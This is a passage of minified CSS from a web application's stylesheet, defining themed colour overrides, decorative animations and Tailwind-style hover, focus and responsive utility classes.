.divide-zerin-panel-border>:not([hidden])~:not([hidden]){border-color:var(--fem-border)!important}.femboy-theme .focus\:border-zerin-accent:focus{border-color:var(--fem-accent)!important}.femboy-theme .focus\:ring-zerin-accent\/30:focus{--tw-ring-color: rgba(255, 105, 180, .3) !important}.femboy-theme .custom-scrollbar::-webkit-scrollbar-thumb{background:#ffb8d4}.femboy-theme .custom-scrollbar::-webkit-scrollbar-thumb:hover{background:#ff9ec4}.femboy-theme .custom-scrollbar{scrollbar-color:#ffb8d4 transparent}.femboy-theme .form-input{background-color:var(--fem-bg)!important;border-color:var(--fem-border)!important;color:var(--fem-text)!important}.femboy-theme .form-input:focus{border-color:var(--fem-accent)!important;--tw-ring-color: rgba(255, 105, 180, .3) !important}.femboy-theme .form-input::-moz-placeholder{color:var(--fem-text-muted)!important}.femboy-theme .form-input::placeholder{color:var(--fem-text-muted)!important}.femboy-theme .auth-card{background:var(--fem-panel)!important;border-color:var(--fem-border)!important}.femboy-theme .auth-card:hover{border-color:#ff69b426!important}.femboy-theme .auth-corner-tl,.femboy-theme .auth-corner-tr,.femboy-theme .auth-corner-bl,.femboy-theme .auth-corner-br{border-color:#ff69b480!important}.femboy-theme .auth-scanline{background:linear-gradient(90deg,transparent 0%,rgba(255,105,180,.3) 20%,rgba(255,105,180,.5) 50%,rgba(255,105,180,.3) 80%,transparent 100%)!important;box-shadow:0 0 8px #ff69b426!important}.femboy-theme .auth-input{background:var(--fem-bg)!important;border-color:var(--fem-border)!important;color:var(--fem-text)!important}.femboy-theme .auth-input::-moz-placeholder{color:var(--fem-text-muted)!important}.femboy-theme .auth-input::placeholder{color:var(--fem-text-muted)!important}.femboy-theme .auth-input:focus{border-color:#ff69b4!important;box-shadow:0 0 0 3px #ff69b426,inset 0 0 12px #ff69b40d!important}.femboy-theme .auth-input-wrap:focus-within:before{background:var(--fem-accent)!important;box-shadow:0 0 8px #ff69b466!important}.femboy-theme .auth-submit{background:linear-gradient(135deg,#d4508f,#ff69b4,#ff8cc8)!important}.femboy-theme .auth-status-dot{background:var(--fem-accent)!important}.femboy-theme .auth-badge-glow{box-shadow:0 0 4px #ff69b41a,inset 0 0 4px #ff69b40d!important;border-color:#ff69b44d!important}.femboy-theme nav a{transition:transform .2s cubic-bezier(.34,1.56,.64,1),color .15s,background-color .15s!important}.femboy-theme nav a:hover{transform:translate(3px) scale(1.02)}.femboy-logo-glow{text-shadow:0 0 10px rgba(255,105,180,.4),0 0 20px rgba(255,105,180,.15)}.femboy-ear{position:absolute;width:0;height:0;border-left:9px solid transparent;border-right:9px solid transparent;border-bottom:16px solid #ff69b4;filter:drop-shadow(0 0 6px rgba(255,105,180,.5));z-index:10}.femboy-ear:after{content:"";position:absolute;top:4px;left:-5px;width:0;height:0;border-left:5px solid transparent;border-right:5px solid transparent;border-bottom:9px solid #ff1493}.femboy-ear-left{top:-14px;left:-2px;transform:rotate(-12deg)}.femboy-ear-right{top:-14px;left:32px;transform:rotate(12deg)}@keyframes floatPaw{0%{transform:translateY(0) rotate(0) scale(1);opacity:0}8%{opacity:.35}50%{transform:translateY(-50vh) rotate(90deg) scale(.85);opacity:.2}92%{opacity:0}to{transform:translateY(-105vh) rotate(200deg) scale(.5);opacity:0}}.femboy-paw{position:fixed;bottom:-40px;pointer-events:none;z-index:9999;animation:floatPaw linear infinite;will-change:transform,opacity}@keyframes femConfetti{0%{transform:translate(0) rotate(0) scale(1);opacity:1}70%{opacity:.8}to{transform:translate(var(--fem-dx),var(--fem-dy)) rotate(var(--fem-rot)) scale(.2);opacity:0}}@keyframes femSpark{0%{transform:scale(0) rotate(0);opacity:1}40%{transform:scale(1.2) rotate(120deg);opacity:.9}to{transform:scale(0) rotate(360deg);opacity:0}}.femboy-sparkle{position:fixed;clip-path:polygon(50% 0%,61% 35%,98% 35%,68% 57%,79% 91%,50% 70%,21% 91%,32% 57%,2% 35%,39% 35%);pointer-events:none;z-index:100000;animation:femSpark .9s ease-out forwards}.femboy-theme aside{border-right-color:var(--fem-border)!important;box-shadow:2px 0 20px #ff69b414}@keyframes femBadgeShimmer{0%,to{opacity:.7}50%{opacity:1;text-shadow:0 0 6px rgba(255,105,180,.4)}}.femboy-badge{animation:femBadgeShimmer 2s ease-in-out infinite}.femboy-theme nav a .bg-zerin-accent,.femboy-theme nav a span[class*=bg-zerin-accent]{background-color:var(--fem-accent)!important}.femboy-theme .bg-\[\#09090B\]{background-color:var(--fem-bg)!important}.femboy-theme .bg-\[\#0C0C0E\]{background-color:var(--fem-bg-alt)!important}.femboy-theme .bg-\[\#111113\]{background-color:var(--fem-panel)!important}.femboy-theme .bg-\[\#04040a\]{background-color:#fff8fa!important}.femboy-theme .bg-\[\#08080c\]{background-color:var(--fem-bg)!important}.femboy-theme .border-\[\#1a1a22\],.femboy-theme .border-\[\#1F1F23\]{border-color:var(--fem-border)!important}.femboy-theme .hover\:border-\[\#2a2a33\]:hover{border-color:var(--fem-border-hover)!important}@keyframes femHeartFloat{0%{transform:translate(0) scale(1) rotate(0);opacity:.9}to{transform:translate(var(--fem-hx, 0px),-40px) scale(.3) rotate(var(--fem-hr, 20deg));opacity:0}}.femboy-heart-trail{position:fixed;pointer-events:none;z-index:99998;animation:femHeartFloat .7s ease-out forwards;will-change:transform,opacity;font-size:12px;line-height:1}@keyframes femKaomojiDrift{0%{transform:translate(0) translateY(0) rotate(0);opacity:0}10%{opacity:.6}90%{opacity:.6}to{transform:translate(30px) translateY(-60px) rotate(8deg);opacity:0}}.femboy-kaomoji{position:fixed;pointer-events:none;z-index:99997;font-size:13px;color:#ff69b4;font-family:var(--font-mono),monospace;animation:femKaomojiDrift 3s ease-in-out forwards;text-shadow:0 0 8px rgba(255,105,180,.3)}.synthwave-theme{--synth-bg: #0D001A;--synth-bg-alt: #120024;--synth-panel: #1A0033;--synth-panel-hover: #24004D;--synth-border: #3D0066;--synth-border-hover: #5C0099;--synth-accent: #FF2D95;--synth-accent-hover: #FF5CAF;--synth-accent-dim: #CC0066;--synth-cyan: #00F0FF;--synth-text: #F0E6FF;--synth-text-dim: #C8A8E8;--synth-text-muted: #7B5299}.synthwave-theme,.synthwave-theme *{cursor:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='24' height='24' viewBox='0 0 24 24'%3E%3Cline x1='12' y1='0' x2='12' y2='9' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Cline x1='12' y1='15' x2='12' y2='24' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Cline x1='0' y1='12' x2='9' y2='12' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Cline x1='15' y1='12' x2='24' y2='12' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Ccircle cx='12' cy='12' r='3' fill='none' stroke='%23FF2D95' stroke-width='1' opacity='0.9'/%3E%3C/svg%3E") 12 12,crosshair!important}.synthwave-theme ::-moz-selection{background:#ff2d9559!important;color:#fff!important}.synthwave-theme ::selection{background:#ff2d9559!important;color:#fff!important}.synthwave-theme :focus-visible{outline-color:#00f0ff99!important}.synthwave-theme body{background-color:var(--synth-bg)!important;color:var(--synth-text)!important}.synthwave-theme .bg-zerin-bg{background-color:var(--synth-bg)!important}.synthwave-theme .bg-zerin-bg-alt{background-color:var(--synth-bg-alt)!important}.synthwave-theme .bg-zerin-panel{background-color:var(--synth-panel)!important}.synthwave-theme .bg-zerin-panel-hover,.synthwave-theme .hover\:bg-zerin-panel-hover:hover{background-color:var(--synth-panel-hover)!important}.synthwave-theme .bg-zerin-accent{background-color:var(--synth-accent)!important}.synthwave-theme .bg-zerin-accent-hover{background-color:var(--synth-accent-hover)!important}.synthwave-theme .bg-zerin-accent-dim{background-color:var(--synth-accent-dim)!important}.synthwave-theme .bg-zerin-accent-muted,.synthwave-theme .bg-zerin-accent-muted\/10{background-color:#ff2d951f!important}.synthwave-theme .bg-zerin-danger-dim{background-color:#ff00501a!important}.synthwave-theme .hover\:bg-zerin-danger-dim:hover{background-color:#ff00502e!important}.synthwave-theme .bg-zinc-600{background-color:#4d1a66!important}.synthwave-theme .bg-zinc-700{background-color:#3d0066!important}.synthwave-theme .bg-zinc-500{background-color:#5c2680!important}.synthwave-theme .text-zerin-text{color:var(--synth-text)!important}.synthwave-theme .text-zerin-text-dim{color:var(--synth-text-dim)!important}.synthwave-theme .text-zerin-text-muted{color:var(--synth-text-muted)!important}.synthwave-theme .text-zerin-accent{color:var(--synth-accent)!important}.synthwave-theme .text-zerin-accent-hover{color:var(--synth-accent-hover)!important}.synthwave-theme .text-zerin-accent-dim{color:var(--synth-accent-dim)!important}.synthwave-theme .text-zerin-danger{color:#f36!important}.synthwave-theme .text-zinc-400{color:#96c!important}.synthwave-theme .text-zinc-500{color:#7b5299!important}.synthwave-theme .text-zinc-300{color:#c8a8e8!important}.synthwave-theme .hover\:text-zerin-text:hover{color:var(--synth-text)!important}.synthwave-theme .hover\:text-zerin-text-dim:hover{color:var(--synth-text-dim)!important}.synthwave-theme .hover\:text-zerin-accent:hover{color:var(--synth-accent)!important}.synthwave-theme .hover\:text-zerin-danger:hover{color:#f36!important}.synthwave-theme .group:hover .group-hover\:text-zerin-accent{color:var(--synth-accent)!important}.synthwave-theme .group:hover .group-hover\:text-zerin-text-dim{color:var(--synth-text-dim)!important}.synthwave-theme .border-zerin-panel-border{border-color:var(--synth-border)!important}.synthwave-theme .border-zerin-panel-border-hover,.synthwave-theme .hover\:border-zerin-panel-border-hover:hover{border-color:var(--synth-border-hover)!important}.synthwave-theme .border-zerin-accent{border-color:var(--synth-accent)!important}.synthwave-theme .border-zerin-accent\/20,.synthwave-theme .border-zerin-accent\/25{border-color:#ff2d9540!important}.synthwave-theme .hover\:border-zerin-accent\/30:hover{border-color:#ff2d9559!important}.synthwave-theme .border-zinc-700{border-color:#3d0066!important}.synthwave-theme .border-zinc-800{border-color:#2a004d!important}.synthwave-theme .divide-zerin-panel-border>:not([hidden])~:not([hidden]){border-color:var(--synth-border)!important}.synthwave-theme .focus\:border-zerin-accent:focus{border-color:var(--synth-cyan)!important}.synthwave-theme .focus\:ring-zerin-accent\/30:focus{--tw-ring-color: rgba(0, 240, 255, .3) !important}.synthwave-theme .custom-scrollbar::-webkit-scrollbar-thumb{background:#5c0099}.synthwave-theme .custom-scrollbar::-webkit-scrollbar-thumb:hover{background:#7b00cc}.synthwave-theme .custom-scrollbar{scrollbar-color:#5C0099 transparent}.synthwave-theme .form-input{background-color:var(--synth-bg)!important;border-color:var(--synth-border)!important;color:var(--synth-text)!important}.synthwave-theme .form-input:focus{border-color:var(--synth-cyan)!important;--tw-ring-color: rgba(0, 240, 255, .25) !important;box-shadow:0 0 0 3px #00f0ff1a,0 0 12px #00f0ff0d!important}.synthwave-theme .form-input::-moz-placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .form-input::placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .auth-card{background:var(--synth-panel)!important;border-color:var(--synth-border)!important;box-shadow:0 0 30px #ff2d9514,0 0 60px #00f0ff0a!important}.synthwave-theme .auth-card:hover{border-color:#ff2d9540!important}.synthwave-theme .auth-corner-tl,.synthwave-theme .auth-corner-tr{border-color:#00f0ff99!important}.synthwave-theme .auth-corner-bl,.synthwave-theme .auth-corner-br{border-color:#ff2d9599!important}.synthwave-theme .auth-scanline{background:linear-gradient(90deg,transparent 0%,rgba(0,240,255,.3) 20%,rgba(255,45,149,.5) 50%,rgba(0,240,255,.3) 80%,transparent 100%)!important;box-shadow:0 0 12px #ff2d9533!important}.synthwave-theme .auth-input{background:var(--synth-bg)!important;border-color:var(--synth-border)!important;color:var(--synth-text)!important}.synthwave-theme .auth-input::-moz-placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .auth-input::placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .auth-input:focus{border-color:var(--synth-cyan)!important;box-shadow:0 0 0 3px #00f0ff1f,inset 0 0 12px #00f0ff08!important}.synthwave-theme .auth-input-wrap:focus-within:before{background:var(--synth-cyan)!important;box-shadow:0 0 8px #00f0ff80!important}.synthwave-theme .auth-submit{background:linear-gradient(135deg,#c06,#ff2d95,#b026ff)!important}.synthwave-theme .auth-status-dot{background:var(--synth-cyan)!important}.synthwave-theme .auth-badge-glow{box-shadow:0 0 4px #00f0ff26,inset 0 0 4px #00f0ff0d!important;border-color:#00f0ff4d!important}.synthwave-theme aside{border-right-color:var(--synth-border)!important;box-shadow:2px 0 30px #ff2d951a,1px 0 #ff2d9533!important}.synthwave-theme nav a{transition:all .2s ease!important;position:relative}.synthwave-theme nav a:hover{text-shadow:0 0 8px rgba(255,45,149,.4)}.synthwave-theme nav a span[class*=bg-zerin-accent]{background-color:var(--synth-accent)!important;box-shadow:0 0 8px #ff2d9580}.synthwave-theme .border-zerin-panel-border{box-shadow:inset 0 0 0 .5px #ff2d950d}.synthwave-theme .font-display.text-zerin-text,.synthwave-theme .font-display.text-lg{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff,#b026ff)!important;-webkit-background-clip:text!important;-webkit-text-fill-color:transparent!important;background-clip:text!important;filter:drop-shadow(0 0 8px rgba(255,45,149,.4))}@keyframes synthBadgePulse{0%,to{text-shadow:0 0 4px rgba(0,240,255,.4);border-color:#00f0ff40}50%{text-shadow:0 0 10px rgba(0,240,255,.7);border-color:#00f0ff80}}.synthwave-theme .font-display .font-mono,.synthwave-theme span[class*=text-zerin-accent][class*=border]{color:var(--synth-cyan)!important;border-color:#00f0ff40!important;animation:synthBadgePulse 2.5s ease-in-out infinite}.synthwave-theme main.custom-scrollbar{background:linear-gradient(180deg,var(--synth-bg) 0%,#120024 100%),repeating-linear-gradient(90deg,rgba(255,45,149,.03) 0px,rgba(255,45,149,.03) 1px,transparent 1px,transparent 60px),repeating-linear-gradient(0deg,rgba(0,240,255,.02) 0px,rgba(0,240,255,.02) 1px,transparent 1px,transparent 60px)!important}.synthwave-theme .bg-\[\#09090B\]{background-color:var(--synth-bg)!important}.synthwave-theme .bg-\[\#0C0C0E\]{background-color:var(--synth-bg-alt)!important}.synthwave-theme .bg-\[\#111113\]{background-color:var(--synth-panel)!important}.synthwave-theme .bg-\[\#04040a\]{background-color:#08001a!important}.synthwave-theme .bg-\[\#08080c\]{background-color:var(--synth-bg)!important}.synthwave-theme .border-\[\#1a1a22\],.synthwave-theme .border-\[\#1F1F23\]{border-color:var(--synth-border)!important}.synthwave-theme .hover\:border-\[\#2a2a33\]:hover{border-color:var(--synth-border-hover)!important}.synthwave-logo-glow{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff 60%,#b026ff)!important;-webkit-background-clip:text!important;-webkit-text-fill-color:transparent!important;background-clip:text!important;filter:drop-shadow(0 0 10px rgba(255,45,149,.5)) drop-shadow(0 0 20px rgba(0,240,255,.3))}@keyframes synthBadgeGlow{0%,to{text-shadow:0 0 4px rgba(0,240,255,.5);box-shadow:0 0 4px #00f0ff1a,inset 0 0 4px #00f0ff0d}50%{text-shadow:0 0 10px rgba(0,240,255,.8);box-shadow:0 0 10px #00f0ff33,inset 0 0 6px #00f0ff1a}}.synthwave-badge{animation:synthBadgeGlow 2s ease-in-out infinite}@keyframes synthBurstLine{0%{opacity:0;transform:scaleX(0)}40%{opacity:1;transform:scaleX(1.1)}to{opacity:0;transform:scaleX(1)}}@keyframes synthBurstParticle{0%{transform:translate(0) scale(1);opacity:1}to{transform:translate(var(--synth-dx),var(--synth-dy)) scale(0);opacity:0}}@keyframes synthTrailFade{0%{transform:scale(1);opacity:.8}to{transform:scale(0);opacity:0}}.synthwave-trail{position:fixed;width:4px;height:4px;border-radius:50%;pointer-events:none;z-index:99998;animation:synthTrailFade .45s ease-out forwards;will-change:transform,opacity;margin-left:-2px;margin-top:-2px}@keyframes synthShapeFloat{0%{transform:translateY(0) rotate(0);opacity:0}10%{opacity:.3}50%{transform:translateY(-45vh) rotate(180deg);opacity:.15}to{transform:translateY(-100vh) rotate(360deg);opacity:0}}.synthwave-shape{position:fixed;bottom:-30px;pointer-events:none;z-index:9998;animation:synthShapeFloat 5.5s ease-in-out forwards;will-change:transform,opacity}.synthwave-theme aside:after{content:"";position:absolute;top:0;right:0;bottom:0;left:0;pointer-events:none;background:repeating-linear-gradient(0deg,transparent 0px,transparent 3px,rgba(0,240,255,.015) 3px,rgba(0,240,255,.015) 4px);z-index:1}.placeholder\:text-zerin-text-muted::-moz-placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.placeholder\:text-zerin-text-muted::placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.last\:border-b-0:last-child{border-bottom-width:0px}.hover\:translate-x-0\.5:hover{--tw-translate-x: .125rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.hover\:border-zerin-accent\/20:hover{border-color:#06b6d433}.hover\:border-zerin-accent\/30:hover{border-color:#06b6d44d}.hover\:border-zerin-accent\/40:hover{border-color:#06b6d466}.hover\:border-zerin-accent\/50:hover{border-color:#06b6d480}.hover\:border-zerin-panel-border-hover:hover{--tw-border-opacity: 1;border-color:rgb(39 39 42 / var(--tw-border-opacity, 1))}.hover\:border-zerin-text-muted:hover{--tw-border-opacity: 1;border-color:rgb(82 82 91 / var(--tw-border-opacity, 1))}.hover\:border-zerin-text-muted\/30:hover{border-color:#52525b4d}.hover\:bg-\[\#14141a\]:hover{--tw-bg-opacity: 1;background-color:rgb(20 20 26 / var(--tw-bg-opacity, 1))}.hover\:bg-\[\#1f1f25\]:hover{--tw-bg-opacity: 1;background-color:rgb(31 31 37 / var(--tw-bg-opacity, 1))}.hover\:bg-amber-700:hover{--tw-bg-opacity: 1;background-color:rgb(180 83 9 / var(--tw-bg-opacity, 1))}.hover\:bg-emerald-500:hover{--tw-bg-opacity: 1;background-color:rgb(16 185 129 / var(--tw-bg-opacity, 1))}.hover\:bg-emerald-500\/10:hover{background-color:#10b9811a}.hover\:bg-emerald-500\/15:hover{background-color:#10b98126}.hover\:bg-emerald-700:hover{--tw-bg-opacity: 1;background-color:rgb(4 120 87 / var(--tw-bg-opacity, 1))}.hover\:bg-orange-500\/15:hover{background-color:#f9731626}.hover\:bg-orange-500\/20:hover{background-color:#f9731633}.hover\:bg-orange-600:hover{--tw-bg-opacity: 1;background-color:rgb(234 88 12 / var(--tw-bg-opacity, 1))}.hover\:bg-purple-500\/10:hover{background-color:#a855f71a}.hover\:bg-purple-700:hover{--tw-bg-opacity: 1;background-color:rgb(126 34 206 / var(--tw-bg-opacity, 1))}.hover\:bg-red-500\/10:hover{background-color:#ef44441a}.hover\:bg-red-500\/15:hover{background-color:#ef444426}.hover\:bg-red-500\/20:hover{background-color:#ef444433}.hover\:bg-red-600:hover{--tw-bg-opacity: 1;background-color:rgb(220 38 38 / var(--tw-bg-opacity, 1))}.hover\:bg-white\/10:hover{background-color:#ffffff1a}.hover\:bg-zerin-accent-hover:hover{--tw-bg-opacity: 1;background-color:rgb(34 211 238 / var(--tw-bg-opacity, 1))}.hover\:bg-zerin-accent-muted:hover,.hover\:bg-zerin-accent\/10:hover{background-color:#06b6d41a}.hover\:bg-zerin-accent\/15:hover{background-color:#06b6d426}.hover\:bg-zerin-accent\/20:hover{background-color:#06b6d433}.hover\:bg-zerin-accent\/90:hover{background-color:#06b6d4e6}.hover\:bg-zerin-bg:hover{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1))}.hover\:bg-zerin-danger-dim:hover{background-color:#ef444414}.hover\:bg-zerin-danger\/20:hover{background-color:#ef444433}.hover\:bg-zerin-panel-hover:hover{--tw-bg-opacity: 1;background-color:rgb(24 24 27 / var(--tw-bg-opacity, 1))}.hover\:bg-zerin-panel-hover\/50:hover{background-color:#18181b80}.hover\:bg-zinc-700:hover{--tw-bg-opacity: 1;background-color:rgb(63 63 70 / var(--tw-bg-opacity, 1))}.hover\:text-amber-400:hover{--tw-text-opacity: 1;color:rgb(251 191 36 / var(--tw-text-opacity, 1))}.hover\:text-orange-300:hover{--tw-text-opacity: 1;color:rgb(253 186 116 / var(--tw-text-opacity, 1))}.hover\:text-red-200:hover{--tw-text-opacity: 1;color:rgb(254 202 202 / var(--tw-text-opacity, 1))}.hover\:text-red-300:hover{--tw-text-opacity: 1;color:rgb(252 165 165 / var(--tw-text-opacity, 1))}.hover\:text-red-400:hover{--tw-text-opacity: 1;color:rgb(248 113 113 / var(--tw-text-opacity, 1))}.hover\:text-zerin-accent:hover{--tw-text-opacity: 1;color:rgb(6 182 212 / var(--tw-text-opacity, 1))}.hover\:text-zerin-accent-hover:hover{--tw-text-opacity: 1;color:rgb(34 211 238 / var(--tw-text-opacity, 1))}.hover\:text-zerin-accent\/80:hover{color:#06b6d4cc}.hover\:text-zerin-danger:hover{--tw-text-opacity: 1;color:rgb(239 68 68 / var(--tw-text-opacity, 1))}.hover\:text-zerin-text:hover{--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.hover\:text-zerin-text-dim:hover{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.hover\:text-zerin-text-muted:hover{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.hover\:opacity-60:hover{opacity:.6}.hover\:opacity-80:hover{opacity:.8}.hover\:shadow-\[0_0_20px_rgba\(6\,182\,212\,0\.3\)\]:hover{--tw-shadow: 0 0 20px rgba(6,182,212,.3);--tw-shadow-colored: 0 0 20px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.hover\:shadow-\[0_0_24px_rgba\(6\,182\,212\,0\.3\)\]:hover{--tw-shadow: 0 0 24px rgba(6,182,212,.3);--tw-shadow-colored: 0 0 24px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.hover\:shadow-\[0_0_24px_rgba\(6\,182\,212\,0\.35\)\]:hover{--tw-shadow: 0 0 24px rgba(6,182,212,.35);--tw-shadow-colored: 0 0 24px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.hover\:shadow-\[0_0_30px_rgba\(6\,182\,212\,0\.3\)\]:hover{--tw-shadow: 0 0 30px rgba(6,182,212,.3);--tw-shadow-colored: 0 0 30px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.hover\:shadow-\[0_0_40px_rgba\(6\,182\,212\,0\.25\)\]:hover{--tw-shadow: 0 0 40px rgba(6,182,212,.25);--tw-shadow-colored: 0 0 40px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.focus\:border-\[\#10b981\]\/30:focus{border-color:#10b9814d}.focus\:border-\[\#8b5cf6\]\/30:focus{border-color:#8b5cf64d}.focus\:border-\[\#f59e0b\]\/30:focus{border-color:#f59e0b4d}.focus\:border-zerin-accent:focus{--tw-border-opacity: 1;border-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.focus\:border-zerin-accent\/30:focus{border-color:#06b6d44d}.focus\:border-zerin-accent\/40:focus{border-color:#06b6d466}.focus\:border-zerin-accent\/50:focus{border-color:#06b6d480}.focus\:border-zerin-danger:focus{--tw-border-opacity: 1;border-color:rgb(239 68 68 / var(--tw-border-opacity, 1))}.focus\:outline-none:focus{outline:2px solid transparent;outline-offset:2px}.focus\:ring-1:focus{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.focus\:ring-zerin-accent\/20:focus{--tw-ring-color: rgb(6 182 212 / .2)}.focus\:ring-zerin-accent\/30:focus{--tw-ring-color: rgb(6 182 212 / .3)}.focus\:ring-zerin-danger\/20:focus{--tw-ring-color: rgb(239 68 68 / .2)}.active\:scale-\[0\.99\]:active{--tw-scale-x: .99;--tw-scale-y: .99;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.disabled\:cursor-not-allowed:disabled{cursor:not-allowed}.disabled\:cursor-wait:disabled{cursor:wait}.disabled\:opacity-30:disabled{opacity:.3}.disabled\:opacity-40:disabled{opacity:.4}.disabled\:opacity-50:disabled{opacity:.5}.group:hover .group-hover\:w-4{width:1rem}.group:hover .group-hover\:w-full{width:100%}.group\/btn:hover .group-hover\/btn\:translate-x-full,.group:hover .group-hover\:translate-x-full{--tw-translate-x: 100%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.group:hover .group-hover\:rotate-90{--tw-rotate: 90deg;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.group:hover .group-hover\:scale-\[1\.02\]{--tw-scale-x: 1.02;--tw-scale-y: 1.02;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.group\/layer:hover .group-hover\/layer\:border-zerin-panel-border-hover{--tw-border-opacity: 1;border-color:rgb(39 39 42 / var(--tw-border-opacity, 1))}.group:hover .group-hover\:border-zerin-accent\/20{border-color:#06b6d433}.group:hover .group-hover\:border-zerin-accent\/30{border-color:#06b6d44d}.group:hover .group-hover\:border-zerin-accent\/50{border-color:#06b6d480}.group:hover .group-hover\:border-zerin-text-muted\/30{border-color:#52525b4d}.group:hover .group-hover\:bg-zerin-accent{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))}.group:hover .group-hover\:bg-zerin-text-muted\/60{background-color:#52525b99}.group:hover .group-hover\:text-zerin-accent{--tw-text-opacity: 1;color:rgb(6 182 212 / var(--tw-text-opacity, 1))}.group:hover .group-hover\:text-zerin-text{--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.group:hover .group-hover\:text-zerin-text-dim{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.group:hover .group-hover\:opacity-100{opacity:1}@media (min-width: 640px){.sm\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.sm\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.sm\:text-5xl{font-size:3rem;line-height:1}.sm\:text-6xl{font-size:3.75rem;line-height:1}.sm\:text-sm{font-size:.875rem;line-height:1.25rem}}@media (min-width: 768px){.md\:h-36{height:9rem}.md\:w-36{width:9rem}.md\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.md\:grid-cols-5{grid-template-columns:repeat(5,minmax(0,1fr))}.md\:text-4xl{font-size:2.25rem;line-height:2.5rem}.md\:text-5xl{font-size:3rem;line-height:1}.md\:text-6xl{font-size:3.75rem;line-height:1}.md\:text-7xl{font-size:4.5rem;line-height:1}.md\:text-xl{font-size:1.25rem;line-height:1.75rem}}@media (min-width: 1024px){.lg\:sticky{position:sticky}.lg\:top-6{top:1.5rem}.lg\:col-span-2{grid-column:span 2 / span 2}.lg\:col-span-3{grid-column:span 3 / span 3}.lg\:col-span-5{grid-column:span 5 / span 5}.lg\:col-span-7{grid-column:span 7 / span 7}.lg\:block{display:block}.lg\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.lg\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.lg\:grid-cols-5{grid-template-columns:repeat(5,minmax(0,1fr))}.lg\:grid-cols-\[1fr_380px\]{grid-template-columns:1fr 380px}.lg\:pt-2{padding-top:.5rem}.lg\:text-8xl{font-size:6rem;line-height:1}}@media (min-width: 1280px){.xl\:col-span-4{grid-column:span 4 / span 4}.xl\:col-span-8{grid-column:span 8 / span 8}.xl\:block{display:block}.xl\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.xl\:grid-cols-5{grid-template-columns:repeat(5,minmax(0,1fr))}}@media (min-width: 1536px){.\32xl\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}}.\[\&\:\:-moz-range-thumb\]\:h-3::-moz-range-thumb{height:.75rem}.\[\&\:\:-moz-range-thumb\]\:w-3::-moz-range-thumb{width:.75rem}.\[\&\:\:-moz-range-thumb\]\:cursor-pointer::-moz-range-thumb{cursor:pointer}.\[\&\:\:-moz-range-thumb\]\:border-0::-moz-range-thumb{border-width:0px}.\[\&\:\:-moz-range-thumb\]\:bg-zerin-accent::-moz-range-thumb{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 